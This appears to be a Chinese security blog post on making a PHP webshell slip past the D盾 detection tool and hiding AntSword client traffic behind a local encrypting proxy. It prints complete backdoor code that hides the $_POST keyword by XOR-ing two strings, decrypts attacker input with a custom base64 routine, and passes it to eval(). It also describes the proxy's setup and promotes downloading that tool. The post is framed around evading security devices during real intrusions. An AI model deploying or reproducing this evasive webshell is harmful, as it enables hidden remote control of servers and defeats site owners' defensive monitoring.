webshell免杀秒过D盾去除蚁剑特征流量加密
随着安全设备的不断普及与技术的日益成熟,在各种渗透过程中对shell免杀和流量成为各位渗透大佬关注和研究的方向,各种安全设备已识别菜刀、蚁剑、冰蝎等流量特征,在实战过程中很容易被拦截与发现,本文通过修改PHP免杀shell,再通过本地代理去除蚁剑特征和流量加密。
1、首先对webshell进行免杀,开始以为只要带eval关键字D盾就会认为是后门,再网上搜索了很多关键字替换,如preg_replace、assert等,都已被D盾记录危险方法,经过多次测试发现D盾检查eval后门和传入参数有关,最终隐藏$_POST参数关键字,过D盾,再在shell内加入自写变种base64解密方法,用来解密接受到到加密数据。
2、流量加密思路,通过python socket本地抓包拦截蚁剑流量,再本地对参数进行重新加密,去除蚁剑前后随机字符串特征,简单修改蚁剑传入命令方法,让返回流量实现自定义加密方法加密,再由本地代理解密重新封装发送到蚁剑客户端。
3、运行antSwortProxy.exe,蚁剑代理设置本地代理,连接超时建议设置为60秒,测试连接成功,文件管理、命令执行、文件下载等功能正常使用(参数说明:第一个参数为本地代理端口与蚁剑设置代理端口一致;第二个参数http/https即为蚁剑连接密码,如果shell地址为https协议,将shell地址改为http协议,第二个参数设置为https即可)。
4、通过Wireshark查看流量为加密状态,存在确定为加密解密所需key也会一并发送到了服务器。
phpshell代码如下:
function base64decrypt($str_s, $key){
$str_s = str_replace("b626fb9238849fd6","+",$str_s);
$str_s = str_replace("EE6E706AF7766FFF","=",$str_s);
$bskey = base64_encode($key);
$bskeys = str_split($bskey);
$md5Key = strtoupper(substr(md5($key),0,strlen($key)));
$str_len = strlen($str_s);
$key_len = strlen($bskey);
$size = floor(($str_len-$key_len-strlen($md5Key))/$key_len);
$str_s = str_replace($md5Key,"",$str_s);
$lists = str_split($str_s);
for ($i=0;$i<$key_len;$i++)
{
array_splice($lists,$size*($i+1),1);
}
$str_s = implode($lists);
return base64_decode($str_s);
}
$s = "~+d()"^"!{+{}";
$a = ${$s}[a];
$b = ${$s}[b];
eval(base64decrypt($a, $b))
关注公众号回复:antSwortProxy获取工具。
本文始发于微信公众号(黑云信息安全):webshell秒过D盾去除蚁剑特征加密流量
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论